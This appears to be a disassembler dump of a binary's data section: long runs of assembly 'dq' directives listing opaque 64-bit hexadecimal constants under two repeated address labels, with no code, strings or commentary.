0x04030A8 dq 0D03054E00D109754h, 7230E2CC350B5E51h, 561238E570F7C4F1h
0x04030A8 dq 0DB679221F9A0703h, 5D8D361D89655D0h, 0DD6C4CC329D157BFh
0x04030A8 dq 0E09C7486932DB30Ch, 86D36687D4D51682h, 499273D31FB2625Bh
0x04030A8 dq 24C2EE42D38A87A5h, 0F234ACEAF4D64A12h, 6149BEBECE7C9490h
0x04030A8 dq 1934E4C41E49F44Bh, 0AF3A2F5A39E4177Fh, 4780FB650C3E2D1h
0x04030A8 dq 8E2C961054393DC2h, 85FB6409074BE41Eh, 61A48E0F5448A05h
0x04030A8 dq 0D6A6E86E4AB15DFAh, 0F94A22BF3D1DA7FAh, 113EB66C4F2194D4h
0x04030A8 dq 91791BE1555C7113h, 0F68A811EFE5BD575h, 0FA3C80532C57FF5h
0x04030A8 dq 4704BEE9CAD66B0Ah, 0BD870AB4867D301Bh, 3A7D3E671128CC1Fh
0x04030A8 dq 3D23AFE1F66FBC5Eh, 127AF7601025EBDAh, 0C6A6B5D92C56A373h
0x04030A8 dq 0A5721A85E53D0F97h, 56676429CE2D46D8h, 0A248F0066F0C3C4h
0x04030A8 dq 0EB0EF17DCD826F15h, 0CC9B567A0A8B831Eh, 0D7BC0C9E177B18C4h
0x04030A8 dq 0E1DA7CF9286E9A67h, 9FD7B7D2FA474888h, 812FF09B33208B54h
0x04030A8 dq 987969FE8CCBD5F9h, 29422CDE8163CEBFh, 6495516BD1637C9h
0x04030A8 dq 0B4FE1BC7E2F97BFCh, 870AFA859B38E073h, 0A8D8248E6768D157h
0x04030A8 dq 0B034FCF27DED184h, 0D086EC7DE58B8616h, 0C2BB0466C43CFA2Fh
0x04030A8 dq 4A3D192230ACFD16h, 0AC98DB0EFD937589h, 0F56664EDAA9B85C4h
0x04030A8 dq 0F588122D0D9D7AF9h, 52AC43FB3C7D1E01h, 0C8FC6C188DD905B1h
0x04030A8 dq 6EA46829A9FD21F5h, 0D0612D81E2B1088h, 1393EF7200D6E4EDh
0x04030A8 dq 7A435ACD877C5EAEh, 61CB5DA8BE4951h, 0A2437CD114A2B915h
0x04030A8 dq 0D2D284F3BD2033B2h, 0B887623F133A7AD5h, 0FE04378C614014A0h
0x04030A8 dq 0B175E6E8033E8F4Ch, 72D970ACFC3E18A2h, 0DE094F9FDCE65E02h
0x04030A8 dq 7BE4D3DA3414E1ABh, 0AC3E4CAECABB63C3h, 1B2CA029A640B0FFh
0x04030A8 dq 8E7DF8EE45ABB070h, 2E76744F4BB8E9A4h, 19B67937DD8673A6h
0x04030A8 dq 5D4C67FE4DB7693Eh, 46E67F8DE015740Eh, 0DDE6A1618921E819h
0x04030A8 dq 0DAA817DE8A8AF151h, 7A9F22C90C4FA4FAh, 9F20D51E37BE5F9Fh
0x04030A8 dq 0A0438AF4B27A0369h, 46FE1B3E23EB1E34h, 3D7B0E396F978248h
0x04030A8 dq 1725A099E8EA8C81h, 6E8F69B7AFA09217h, 96AB335EA0DD12BBh
0x04030A8 dq 66D23176BFD07918h, 0F16A8DC49708A4C6h, 0BF7F1376ED42B888h
0x04030A8 dq 7D0FE36B25B0E2F7h, 0BC33A461F3A3285Dh, 54AE90B86C965191h
0x04030A8 dq 6806B289BB9A2587h, 0CF6E2826D174EB66h, 0B4A902AFB1C606E6h
0x04030A8 dq 88307C9F1901E0BEh, 2A42B39CFE3B8A97h, 7EE8D335A29EDD20h
0x04030A8 dq 1742D87363D921EDh, 444499A33C2A5003h, 6B5D869E0F431786h
0x04030A8 dq 1A281D8B70C45149h, 468B50AA38C14796h, 56DF53DCD356A347h
0x04030A8 dq 2AC300FF2539EFCBh, 1FFBBAA56337D2F5h, 9A86C905583FC6FDh
0x04030A8 dq 6B3761888448C852h, 0D77FD184F75B3ECBh, 925A26CFB264968Eh
0x04030A8 dq 0FD270356542D73D5h, 0E2D0A748BFFC58DAh, 791CCB7FD7236881h
0x04030A8 dq 76D5FE4000F05146h, 7C7F4DA6679CC3D7h, 7B04D5737C2124A7h
0x04030A8 dq 0CFDD83D504C26BE3h, 95EDDF02C6118FFBh, 0F0D064DA523B4BB3h
0x04030A8 dq 0EED93FAB2EF94E0Eh, 0A47AD1ACAB89225Fh, 0C8712C67BA384421h
0x04030A8 dq 5DC2A6D2F70B3C7Dh, 5E5D70A0BE566644h, 0BA41B4955B984588h
0x04030A8 dq 5B50CC758B6679E0h, 251F3BC0536D5E4Dh, 6E5371B8F02F4AAFh
0x04030A8 dq 613F6E7234B4DAA5h, 7DCFC1E6A81B3985h, 2DD458E3A1A114B4h
0x04030A8 dq 0DCF4C826498FE388h, 6993AC447CF5FB89h, 531835A95CBD9FC1h
0x04030A8 dq 1F513AE1CFE03D76h, 5BC3B0510C6870C0h, 2DB56F5C5E7D9318h
0x04030A8 dq 0C8963AF9DE3486FCh, 0D6E32EA7792DC69Dh, 667039174255856Fh
0x04030A8 dq 6D05ABE57E72FFCCh, 0B0275E32E7A419DAh, 70C36F9317985F9Bh
0x04030A8 dq 0C011EF046B5E7BF1h, 52D7DABD46FF861Eh, 8DD83AD3D2581468h
0x04030A8 dq 0E5DD7F7DED2432B0h, 6F430B3A0496BC8Ah, 0F69CC88C89DE0871h
0x04030A8 dq 0B1122C039CDCBADBh, 1E30215C3086CCF0h, 1F74E91012EBC255h
0x04030A8 dq 9F945E596B552DC0h, 0F79AB5685291898Eh, 0A331BEC6398C26F2h
0x04030A8 dq 0B093C983412B3AB7h, 3D5AB669E2756093h, 146FDA2F6652FE34h
0x04030A8 dq 61AD034B35CE9DCEh, 0ACABB45DA13F95D1h, 0B9118DD6B6E310B0h
0x04030A8 dq 378A54CFA11050Fh, 6174EC7A606A4E62h, 0B66B7BCC7FDF06C4h
0x04030A8 dq 0FE4F7DE57F4F62E3h, 0DEA7FAE09CABB0FBh, 0E58210ED4DD55CC1h
0x04030A8 dq 87635F9EB3B6BC7h, 8D9C02C3D25391ACh, 0FAA316DC7F63243h
0x04030A8 dq 43A428ADA7F4DB2Dh, 496AD2D276125F7Eh, 93AF95F5549DD329h
0x04030A8 dq 0C73617131CF6DC69h, 0DB0F4384993A1A39h, 0ADCEDBFE98F4F036h
0x04030A8 dq 0FF268A8A639661C7h, 5F35497F41F49B33h, 0D1D711D4CEEBE04Dh
0x04030A8 dq 0BB40C82202F46561h, 12FA266873E2F244h, 520C54F96EC52407h
0x04030A8 dq 294F64527D42056Eh, 7D799FC2CD3ECF30h, 97F358D436E9A0DAh
0x04030A8 dq 2EF3BFE4F33CE550h, 0D35266D482E82D0Fh, 0ADEAE1A26A4B662h
0x04030A8 dq 0A4D603F69F23ABB5h, 830E73133ECCBC8Eh, 0D3100C3A6F76F55Ah
0x04030A8 dq 0C7BBE5FA5B83CE95h, 1300AD7B814A37D6h, 59BFF1892C893A24h
0x04030A8 dq 9A312E0F0C64A66Bh, 0FE837E8F923EBA93h, 4A41BBF055C07F7Eh
0x04030A8 dq 6B0559597E42FBB3h, 507C58876F24BF7Ch, 0AFD1E8E34BEEF1B2h
0x04030A8 dq 0A30D3904C3DFDDF1h, 9A813F4FC9D9F9A0h, 0DD21A81319435126h
0x04030A8 dq 5837CB226E842662h, 7585E20C7983EF8Ah, 6757E80E2C4B3142h
0x04030A8 dq 288547F912574C10h, 6D097EFD2182E121h, 0E5AC91932799DB75h
0x04030A8 dq 138532C285EF0B72h, 0AD9DCE0402BDF070h, 2DEDE3757857CC5Ah
0x04030A8 dq 8C5B4C04EFEA463Ah, 0C87BD2827802D53Ah, 90288E0C1AA3A06Dh
0x04030A8 dq 285CA2E17ED57C22h, 5F3948BF907971Ah, 4A8375E73262BFEFh
0x04030A8 dq 7F5F996B04370F2Bh, 3B5C0999B7916F7Dh, 0ED76BCFAE3D804CEh
0x04030A8 dq 7B55B99B59D4A983h, 55674A5237A99022h, 7F61A2208C39C89Ah
0x04030A8 dq 9C187D4B47D2284Fh, 47C7F00AA3F2F10Ch, 0D9999B16B06854D9h
0x04030A8 dq 37401122548A7D21h, 38AFA51665EB9B72h, 6E65FF5301C1A3B8h
0x04030A8 dq 99925BCC91B06DB0h, 39ED0326EEE7A527h, 26CAC33F5B01E34Ah
0x04030A8 dq 0E178529A74A17CF2h, 726D14EB7F2CD751h, 0A0196D6079F9BED0h
0x04030A8 dq 0B55940D7572DF0B2h, 148FB7CE8F94CC45h, 1BC0E55703761405h
0x04030A8 dq 1B117A6BBA794DF5h, 0C9801F398DCB927h, 96A3726AA97D061h
0x04030A8 dq 527E6C64B752A9Dh, 0F7E3D8A079B0AF58h, 843872414A0F8AC2h
0x04030A8 dq 9740BB81F1E1F20Fh, 0C90B415C23CA9AB0h, 0F47B5E85B1108CA2h
0x04030A8 dq 0A1DAA6897D14D77Fh, 1E23855EDE3E7F48h, 66C4597D838049Fh
0x04030A8 dq 0D7A2BF47EC6E0973h, 0FBEAA9053F207380h, 14FBF9863A524A0Fh
0x04030A8 dq 0FA44A8F07BECA860h, 0E4131F21B4041CCAh, 0F26F010521E45028h
0x04030A8 dq 0B3DA7D27C44E0C79h, 36BA7E469E6FC0CCh, 44B33A4CBB20CBE5h
0x04030A8 dq 7267E5C062575E81h, 0B3D72B5906933BCDh, 1DF59D73C9DDA4A0h
0x04030A8 dq 0D75DB0F8FCB34DE0h, 2138187E02286023h, 0C25E0D05C521E621h
0x04030A8 dq 1F65BF5A9D8FCA1Bh, 0CBEAC742BD831991h, 0A338A0AAA66A7B1Bh
0x04030A8 dq 3B6161D80448818Eh, 86D4E08EA36B42Bh, 0B78942FAC7A63FCAh
0x04030A8 dq 63CECD1284890BA1h, 254866A8F6DB2841h, 0C60B74E9CBB52D3Bh
0x04030A8 dq 28E9B45CD86C806Fh, 0F47214609157E907h, 6E5985B26FDB43A7h
0x04030A8 dq 30025FA35AAD992Fh, 1BD50D24B59E518Ah, 0F5B2FFFF96F0EC95h
0x04030A8 dq 7EE9EFCDB21D61Dh, 0ED35BB8B49360196h, 9CB3313E4BE21964h
0x04030A8 dq 0A87823D27FD7B83Bh, 0CC9F5ED8DC508CCh, 70AC3B764B01775Fh
0x04030A8 dq 1FFB121BD89C4EB6h, 6B147D42E1F30044h, 286B1BAF8822D757h
0x04030A8 dq 376BE6A03AEF5A6Fh, 74E91D0BF5DD9FECh, 0C8BD881525501CCEh
0x04030A8 dq 0B2DC1722453F454Bh, 0C25BF605A0844DBCh, 8A7DAA5D59621D1Fh
0x04030A8 dq 52F997D0321AA926h, 662DBDFC9BEA0C39h, 88FC922700DFE0FAh
0x04030A8 dq 0A102CE0CD234E1C6h, 235C23C90B3EEBF6h, 1F65ADFC7589B456h
0x04030A8 dq 220D26E2BCD2CCEh, 0F54A4B9E880D48EBh, 0BF2D4D423D210C00h
0x04030A8 dq 6456992CB4D56CBCh, 0AF23B1DF21B3D6F2h, 7D29534CF32DC34h
0x04030A8 dq 8660F33F736E77D3h, 29B8CB897D593688h, 78D5665D6A923DDFh
0x04030A8 dq 7470EABE2075074Dh, 110873A9377BF479h, 0D16391A8E6C08BEDh
0x04030A8 dq 5CAA3BE58E3B278Ch, 794839702E920E4Bh, 0E4CAE22299D73D31h
0x04030A8 dq 0EEDC0359B87B7629h, 7EEC5EFA9A4ED737h, 0B85B9C75B6C8F51h
0x04030A8 dq 223E965007F6C17Ah, 0C11B044DAFE81EACh, 0FC937966DDDF7CF0h
0x04030A8 dq 0BDBE4550332DBDABh, 464506D00DCF4083h, 58AF7127EB06C516h
0x04030A8 dq 27915CA2CA38CE03h, 8DAC8C845CF63008h, 7FE93DD2CACB1F0Ch
0x04030A8 dq 0F6473879CF22D485h, 0B4E129C88F2D68A5h, 9C1B1F6F2031D65Eh
0x04030A8 dq 0A7BE090BCF6A37BEh, 0C5BC54D0ED5DA0B3h, 0C29C1DB9F8052679h
0x04030A8 dq 0FDE64C6A84AFF712h, 1C8043EAB1EA041Dh, 0F9A0DE6E6EDF1F09h
0x04030A8 dq 26841AE807BD9EB2h, 5C4F28B9322D482Bh, 92B8E0CA777889EAh
0x04030A8 dq 3E7F41DDF76197CAh, 2E6756C090213C80h, 474E46A99586C864h
0x04030A8 dq 0C2B476714ACD6553h, 2187793EB8458DC0h, 0A5942D6E91E42FDFh
0x04030A8 dq 0A7F477969185A56Ah, 0F91B3995F50EF0Ch, 4743071A68571838h
0x04030A8 dq 4A9EF59F1627FD36h, 0EE1B9050C9E0DDF7h, 757A3E241E64DC2Ch
0x04030A8 dq 9E4C96008B87DC88h, 868F08318D07EE6Bh, 4CEBE2D10E48B283h
0x04030A8 dq 8EB2866A7C07E8B8h, 35D2D355B7633457h, 606337B05E532AE3h
0x04030A8 dq 27D00C954ABE5124h, 0B88BE204FFD850D1h, 4A1686878651A951h
0x04030A8 dq 0DC1996AA89D49B2h, 93D280CE1AEF2140h, 76A9B2227F54EC6Bh
0x04030A8 dq 4A367846FB4E9B78h, 0C891AC7042D75316h, 56856D606D6C4B13h
0x04030A8 dq 4569F383AA018540h, 1E2099D7BE432542h, 0C37BA6A0DF98C096h
0x04030A8 dq 0B10EC0025D333F32h, 0A046D2D31359CE98h, 51105A056C366F85h
0x04030A8 dq 846A80296E312444h, 3399583F4025E419h, 0C2FE3BF9B7A3098Bh
0x04030A8 dq 0BDFCB31A0766ED95h, 0E881FF8EA6329BDBh, 6D5B1974B65EE671h
0x04030A8 dq 0B7BC26DE07D510ADh, 36EB0DF6B2D0470Eh, 9D174097B7639A8Ch
0x04030A8 dq 53832DF40032EFE6h, 0C6C98B6DAA9FB69Dh, 5171F32B43A7A896h
0x04030A8 dq 3795BA4EF28FEA3Eh, 0FB2B1CC3878CEEF0h, 0F9984B4B6CB91580h
0x04030A8 dq 1AA6A4B24850553Fh, 72EA1AF3DB83F2Dh, 0CEE167F944B6EDE4h
0x04030A8 dq 585C51542A03A386h, 0FD9D6ADCD5754E7h, 1406E4643D78CF24h
0x04030A8 dq 1C8D1753512F3FADh, 0E0ED6177F764DDD0h, 3F921FC4A694D1D3h
0x04030A8 dq 0F458441B3BC8D70Eh, 53063290CF3CC58Fh, 0A2495F44DA3A7290h
0x04030A8 dq 0B1EF8BCDBDDE327Bh, 0AAAE779F1E2A430h, 1100C6C86DC621FFh
0x04030A8 dq 0F5505D284D58183h, 44BB84323F73CA04h
0x04040A8 dq 4E83E6C73478E3EFh, 6CDFC1DB3145F9AFh, 0DC0ED886161459C3h
0x04040A8 dq 414866D2245CCF8Fh, 0C00CAC1D2AC2D493h, 65C2A5C3B8D9E39Dh
0x04040A8 dq 0CBD3076931E4E5E7h, 0A9AE3ABE246303D1h, 10E35C759769750Fh
0x04040A8 dq 1D0BB0BFC8EFA3AEh, 46CD0D2435F55BCAh, 0D10998179AA010DCh
0x04040A8 dq 0B1D28A1536A7F98Ch, 9C2C0E479D928131h, 83111BEFB4858A18h
0x04040A8 dq 0A114539DDD007D4Fh, 495D189E2DAEFC93h, 0A792FF9FB730A498h
0x04040A8 dq 5BF09E22D39737C5h, 0C89CEBBF6CB8C9B7h, 7D76AF53253B527Ch
0x04040A8 dq 31B4BA3465872DF8h, 9D6BE0A9FC22ABC7h, 0FF754C3B0114CD2Eh
0x04040A8 dq 422E9F6F73BFFC9Bh, 5065830A5729BB73h, 26D8F9489BCB3A0Dh
0x04040A8 dq 0F30E36B094B58160h, 55C405EABCB33B39h, 37FBF581B2A9737Ah
0x04040A8 dq 0D54709867EE984DEh, 3E29862C6AA6AAEh, 6319CC86A5FB90CAh
0x04040A8 dq 0F1576BEE0DE91886h, 2E17F35DEF6A275Ch, 33D4FFA7BF438107h
0x04040A8 dq 98A01ED1B2F9C10Eh, 67733FADA5D5DFC0h, 0A50E1FCD62367BF6h
0x04040A8 dq 0AC03E589470E1872h, 0CFF6229619BB1B4Fh, 14DF40B58DFEDB74h
0x04040A8 dq 798BC6A685998A01h, 19F2744C0FFC175Fh, 5493079DE91F6FEBh
0x04040A8 dq 310F6843CF3F52E4h, 0AA9AEB37FB33A979h, 0A4D98D0C96973968h
0x04040A8 dq 882D9C9CCADFE4ACh, 9951DB5400F62A5h, 0AA3FE788EAB6FCE4h
0x04040A8 dq 340A249263DB8889h, 86BDE6506BA6FFF8h, 0D469300B72C82482h
0x04040A8 dq 27995AB3EA03FE89h, 0AC251A07625AC564h, 0CD49B9613C3BC0EBh
0x04040A8 dq 0AAFD8471F0042EBDh, 0A13B67B8394F3AA8h, 0BF9C6CB66CBF16ADh
0x04040A8 dq 3E82C190E591309Ah, 26D918507BEACC97h, 0C305895B3F8AE357h
0x04040A8 dq 0D965D14342B64EA3h, 0B6C556089ACC9199h, 0A2F3E7FD2E06CF54h
0x04040A8 dq 30BAA6F9999AB928h, 6E1FB70DFBF1B96Ch, 536DDBB657FF2241h
0x04040A8 dq 84A8CB03C2FF41A8h, 904F0B2E6BC017B0h, 0B0B6AC0BB1EA0C20h
0x04040A8 dq 2BB67C89DA42E945h, 35528EA63A6DF63Bh, 7CE427FCCACE86F8h
0x04040A8 dq 8F6C2114D836D5EEh, 0C42361DA37B6ECE7h, 5B159D09A642581Eh
0x04040A8 dq 9B31669FC8A19B80h, 286E745BD1F59C78h, 0D12B05AA1813479Ah
0x04040A8 dq 14D92EE677C3FE96h, 2CD68D9FA8ECB058h, 0AC29A9C4F97E0784h
0x04040A8 dq 0A6A1B4F0AA8B860Eh, 0F6C8E5CED47C732Eh, 0B0333A954916EE08h
0x04040A8 dq 702ECB9F54DDA134h, 0BC2EF66247A3D8A8h, 9B03FAECA1BB7E3Eh
0x04040A8 dq 0F7C9868F4855CE9Bh, 0A2B29632A804556Eh, 0E02F6011FD48D418h
0x04040A8 dq 0A9A30ECA7D267E70h, 202DB2BACABC3FBDh, 51AB0AB9579B244Bh
0x04040A8 dq 5A0D51DC88A55CF7h, 0DB63657A5FE53830h, 5D3350A2957ACE14h
0x04040A8 dq 0FA4453A07B9A8268h, 0EEF385E2976BA794h, 389408BB18997E1Fh
0x04040A8 dq 0F4F5BEF2E4CF1430h, 25F4C834B69B65A9h, 61E84EE0EB0349D8h
0x04040A8 dq 375E851BCC03B3F6h, 0A0E716FCAF929A06h, 33815FC1F2BF84BFh
0x04040A8 dq 1EC416975223C7E6h, 0FAF302DE68EEA245h, 6094B04B45EA7E9Ch
0x04040A8 dq 0A0D5C436B5C8AA8Ch, 0E644AB6E3FF701E4h, 0CE75447EA32B956Dh
0x04040A8 dq 7EA9B12CF782009Ch, 56F90099BDA9FF8Eh, 0D8FF23CFA2708311h
0x04040A8 dq 0B31E0FF8F75D9660h, 6006AB8E007E8A52h, 417C5E2DB8C80328h
0x04040A8 dq 74F71CEF649697DEh, 1D64207B4661698Eh, 3D5CA52B5E827BD0h
0x04040A8 dq 0A0AA8ACB4138E408h, 62F4FE1ED109E003h, 0CB57A126AD804C97h
0x04040A8 dq 0FF0C3C143F22E9DFh, 0B4D073377C6D487Fh, 68F65B1E07C1FFABh
0x04040A8 dq 47AC27EFBD9A4EC2h, 1D32D4A24B3B6665h, 24AF43C650481E8Ch
0x04040A8 dq 4E95C9BEC5BED3EDh, 50001BDEB2EF2D9Dh, 1E40E83F176742Bh
0x04040A8 dq 0EC22BE89192D27B9h, 59920FF72FCC8208h, 0B393AF7106DABCA4h
0x04040A8 dq 0C023FE9CBC59F5F1h, 31FB3E3776F6C219h, 0E5F93098D7E11B19h
0x04040A8 dq 0ACD25BBE75F4C2Ah, 0B0BD63D16EB0E3D3h, 0B6FD5D91B0A812ECh
0x04040A8 dq 59CC011115A9D19Ch, 9F0E11062ED43351h, 43F4701CECA70022h
0x04040A8 dq 0BD37D36350515D4Ah, 0A3821A7FE6343E2h, 94ED8BCDA77711E7h
0x04040A8 dq 0D0CB8B85ACE6EE89h, 494C291870BC88FAh, 2E2BF2B8B44D2AB4h
0x04040A8 dq 85F6296847BF86CAh, 86CA6DDEA2356FE2h, 1A7AAC7BF8366270h
0x04040A8 dq 297C32CBE8684343h, 0D25957BBEE07318Ah, 2A3778A9F3255443h
0x04040A8 dq 81F80F100747994Eh, 46050E64DB1DD1F4h, 0CF07C866059ADCBAh
0x04040A8 dq 158968F03C03A949h, 0C8057A98E35B8A40h, 5F3EA460F478A525h
0x04040A8 dq 7F39B54811B9554Bh, 0FB5FA0E60430437Ah, 0ED72797F7EBE7E87h
0x04040A8 dq 9DF57646A0A1E3C5h, 4A02FF8B25467C34h, 0D7C4810199325009h
0x04040A8 dq 0EBDFD14B8B0A30DBh, 66E1B918DED0AC27h, 63BD9BB5678F8DE2h
0x04040A8 dq 119059C7F5058692h, 8A67EC3013D6DA37h, 7080B928EB89BD10h
0x04040A8 dq 0B52D83E12F5CCADCh, 9C31EC3134BA3722h, 0A9AE798DD458A487h
0x04040A8 dq 6DD2554347513C8Bh, 0C6C4A14B9DF32F29h, 28AB49C96261836Eh
0x04040A8 dq 0BCD331994AC8D877h, 0D5B42E8858C48EA4h, 6FE9BE03DE5F109Fh
0x04040A8 dq 0BCDCBF95AF211A36h, 0D744B39ACDF57689h, 58A2D50668242D5Fh
0x04040A8 dq 7F62B888B4973CFAh, 0E7BA080876507113h, 0BFA92C637A58BBD7h
0x04040A8 dq 0AC110EEDBB7B3A58h, 0D23C5F6065E6E51Bh, 0CDEC398C6654A226h
0x04040A8 dq 9399A3C9B4D5B823h, 92C27650CB4C61A9h, 48A369A0B2A8C1ADh
0x04040A8 dq 29B926BB68A1E87Ch, 71EF128C9FCFA3E2h, 0A58F9EAB11DA895Fh
0x04040A8 dq 129615A8505433Ch, 9ACE8FB34323EC4Fh, 228B7722A062E257h
0x04040A8 dq 9ACF19044ADD4615h, 0DB8BD01708502ADBh, 0D0463038A7414B6h
0x04040A8 dq 0A4471EB5A8A20E95h, 99C468569CC41436h, 7098B1741DB9863h
0x04040A8 dq 0DF3226338EFE139Bh, 2E8CB884031A2C53h, 0D38D47D73166C2FEh
0x04040A8 dq 16B8C6F8B995AECBh, 0DE36EEAFAC0CC9EEh, 13EDB2AE5770DF57h
0x04040A8 dq 187B1FC1C66D9F10h, 2EC17EC4383D6621h, 80D952EA4A419094h
0x04040A8 dq 0C7966A8A638E548Bh, 688B576CCCB87FBh, 53EAE339F60674FDh
0x04040A8 dq 25382E0557195CE8h, 0E95908CB366B01C1h, 4C16B238895F5C9Ch
0x04040A8 dq 0ADAAC88A659A865Eh, 0DA212E697DC092Ah, 2F2E10243F970719h
0x04040A8 dq 131256CE903EDF2Bh, 9C40553ED89BC7B5h, 0E11564863D740B04h
0x04040A8 dq 2832DED31A383D2Ch, 3ADE57CD11F432EEh, 0EBA32259772A5BF7h
0x04040A8 dq 127F94ADB00D1991h, 909574F0F48B19CFh, 4C048CF349C6C0CEh
0x04040A8 dq 268CD1D2CF942DF1h, 0F56271BA1C7054F8h, 25F6683ED6325223h
0x04040A8 dq 16CC933B8B022A85h, 17E11D9DF5B5C35Ah, 0EA3CA9D445E78E97h
0x04040A8 dq 0CBA45DC31FF0AFBEh, 8BF6960E6D50173Ch, 1E1DAE38205C5990h
0x04040A8 dq 0E4B2B2AFEB5540BAh, 0F7B3200777EE2E4Dh, 9890E14B3658B574h
0x04040A8 dq 21085D90392C21D6h, 3C7EC4B796C73E0Bh, 8B8FD18BF426C118h
0x04040A8 dq 0E19CEF38A995C639h, 31BDE0B3F1D00CFEh, 3EFBC40A15E010BCh
0x04040A8 dq 0DD50502DBE4AFC49h, 0EDE27975F143A67Dh, 0D13DB16336864276h
0x04040A8 dq 147DAADC98014D4Ch, 0F58453C02BA0A05Bh, 71860EC29A17E18Ah
0x04040A8 dq 87F32735CCC68FFh, 32BF5345A5A83CCBh, 8D4DCAD3A6B4F283h
0x04040A8 dq 6CE49E4034EF5B56h, 8CD5F6F6E5388CBEh, 2C330A113E6B3795h
0x04040A8 dq 2186B918CF57BBDAh, 0EBA9770793516B44h, 7072F05D8DAF5C1Ch
0x04040A8 dq 781F352CA48612B8h, 0F36263344CFD46A6h, 0EE809300137E7C44h
0x04040A8 dq 5DD160240F3B75F9h, 67F94CC9A631BA4Ah, 70A8ADB22C1A7E8Eh
0x04040A8 dq 7D0F99A0288824E3h, 0D1274F268E4145D6h, 98A0D7CAD500C0B7h
0x04040A8 dq 9ACBF640D40D6E5Ah, 1F8560210EBB7AC2h, 21ABE007E08435F5h
0x04040A8 dq 834C16FD8CCBFD0Ch, 60437AAABA2E7253h, 0E90339E12A7A6CFCh
0x04040A8 dq 5725ACC4E62EDCEAh, 3970516594EC8C80h, 349C975FDFEF3CE4h
0x04040A8 dq 7ADC36AE30A1E257h, 5C2B268CF7136B40h, 503F81A99406B7F4h
0x04040A8 dq 332099546D7FD1CAh, 0B3482397ADAF5966h, 0D83E38A6BAB805Eh
0x04040A8 dq 178106555266B1B6h, 0ECC372911791EEC1h, 0FEC6AA0409E404A0h
0x04040A8 dq 31C3E91906807712h, 1CF66D0DDD5F6926h, 92B40E88F84FBE80h
0x04040A8 dq 160DF3F05A3BC12h, 39FEAF1C869F70F5h, 0E8A310BB74EDA937h
0x04040A8 dq 67B39AF1D64840EDh, 92B8135CA79CD1FAh, 0E0FDB3C59B99E767h
0x04040A8 dq 0B6180E597D6EE3ACh, 64F6AD1AA26CEF23h, 0FCADBB8AB4AA6E49h
0x04040A8 dq 27F037F48A4C62h, 87817BFE9347A0F1h, 3650BD7028410968h
0x04040A8 dq 80CBB69992CC48F0h, 82E7D10465AEFCADh, 0CD28B9264A6EEFD2h
0x04040A8 dq 98BC07A6B649BA65h, 6250BA703527638Ch, 71886D7B8EA7AB7h
0x04040A8 dq 1CF27D33EACCC8AEh, 2A0CC5422B2DA4DFh, 0AC8D37C633D3E6BFh
0x04040A8 dq 8B388B7542FDEE9Bh, 0C029D4A3FB48ED8Ah, 0A50CFECDF950920Fh
0x04040A8 dq 7DA1D6C63700518Bh, 0E859CDCF4F034076h, 0D55F42AB0320476Eh
0x04040A8 dq 665900FBBC4CE31h, 891BFFE7B3042B88h, 0EE3DD60DCB5E44EDh
0x04040A8 dq 404A00A76B7D02E4h, 5496960F58385743h, 0CE9B6C94363AF2CBh
0x04040A8 dq 0EBC39A5AE1E5AC85h, 0C566F404126416E3h, 56B230CC0DE5370Fh
0x04040A8 dq 2557F1425734EA08h, 2074D735E773EACEh, 619FE08BAA68307Eh
0x04040A8 dq 9D41EACB49FCF2D2h, 49C8A5F94F7D920h, 7A0D67B2C6321FA1h
0x04040A8 dq 0B9FB8D211081A411h, 7CE6046F39669434h, 4C592DB8BAE7A854h
0x04040A8 dq 0A53829E4CDBD68F6h, 274D48C946585B4Ch, 0A266F57DD8DC6BB7h
0x04040A8 dq 0E40787E69675F635h, 1DCF0E25E4E7BA3h, 0F92B480873445432h
0x04040A8 dq 35D9874CB89DA504h, 7D5B20D17403F86Fh, 9D67492E3358E3CFh
0x04040A8 dq 0F7654D483B537315h, 0F1FA22ACC3E38BA3h, 7701694163723F43h
0x04040A8 dq 93236EC2FC79BABFh, 0DD13B4E9194392E7h, 2A8EFD1DA0A99E95h
0x04040A8 dq 9A7D8424A731A0F8h, 2FA7744A562F552Dh, 55F5B3521327452Ah
0x04040A8 dq 5560D713FA6E70Bh, 8AC3FE08EE14D238h, 0E3F4D6B7A817410Ch
0x04040A8 dq 0E2C7DCFDBF8FD1F3h, 4FA92027A33C397h, 24A21D01AB752E5Ch
0x04040A8 dq 8E8F82281A248493h, 0A976149F2A820D95h, 752A375E43AAC325h
0x04040A8 dq 38F864903A61F897h, 925BC16AC5744FA4h, 17D3C1FAD5FD3D8Eh
0x04040A8 dq 0E9FEE25321EB70C3h, 873D7BEF50C0DDCEh, 87F52413D50C9B79h
0x04040A8 dq 784F97F4747BDB21h, 5746E79527338C78h, 0F062921BDD5972B1h
0x04040A8 dq 268E59AE8C0FB141h, 6B765DFFC83E9A12h, 0B0199FEB74880D3Ah
0x04040A8 dq 2288F9980BB51DAh, 0C27455688F8DE6B8h, 4C8F19FE09EF7387h
0x04040A8 dq 76A0FB78DAF20E89h, 0E8ABDFCEA75D3F4Fh, 9E947AD7AC15E509h
0x04040A8 dq 4C13436B6369D50h, 92ED8971585938A7h, 32E01518829F8C7Dh
0x04040A8 dq 5095FB66660E0CDh, 6E5FBF0385B029F0h, 0F43A96E4D174067h
0x04040A8 dq 94B38494CCCA38D7h, 27CDBEEF7A1F0D17h, 66E69C9575A59306h
0x04040A8 dq 38692074A2CC3714h, 321F2ED13F3F2234h, 94B3CF1E6DA0F101h
0x04040A8 dq 5F8A174E14DBC560h, 8C64C32D4C59DD29h, 5E2AEB139348AFADh
0x04040A8 dq 0D559C8361E2AF39Dh, 1092ECDCD4DE6A59h, 49311A739B9D6828h
0x04040A8 dq 0DD0CA99B7516B8D4h, 0B27BA45619D4BB77h, 2321DF5919BA7DE0h
0x04040A8 dq 0EE84E926C298B9B5h, 7A0878D93881CF5Bh, 0CFD7FEE2D4364C95h
0x04040A8 dq 76F1375E70CDA85Bh, 0A99B0E8C7C46177Fh, 80DAFB7047884C14h
0x04040A8 dq 0E31E7EF745009514h, 7C44D63991298F56h, 0BE020DF9EFE9C98Dh
0x04040A8 dq 955BA34BE8BB69FAh, 84B68EB56AD5FA2Ah, 8BC5840E6D660E19h
0x04040A8 dq 211AF99584B6C08Eh, 665A84B7E2535D31h, 1547599150B3952Ah
0x04040A8 dq 0D94E56E19DA8FF17h, 54752B6A4B46A122h, 0B257A4A6D4C594D2h
0x04040A8 dq 8F08FD31ADA7290Eh, 0BC283A43F1365B9Eh, 331F5B239304401Dh
0x04040A8 dq 0D71B328819DECBC1h, 0E5632A3647B5BE4Bh, 0CC0A9E806A8AC35Bh
0x04040A8 dq 8775DAE607D3695h, 0F15EF5C6017119F5h, 8AE07CB67673B01h
0x04040A8 dq 57D254E5908F9BEh, 0F95D1612927D4578h, 0A13E6E72E5F26234h
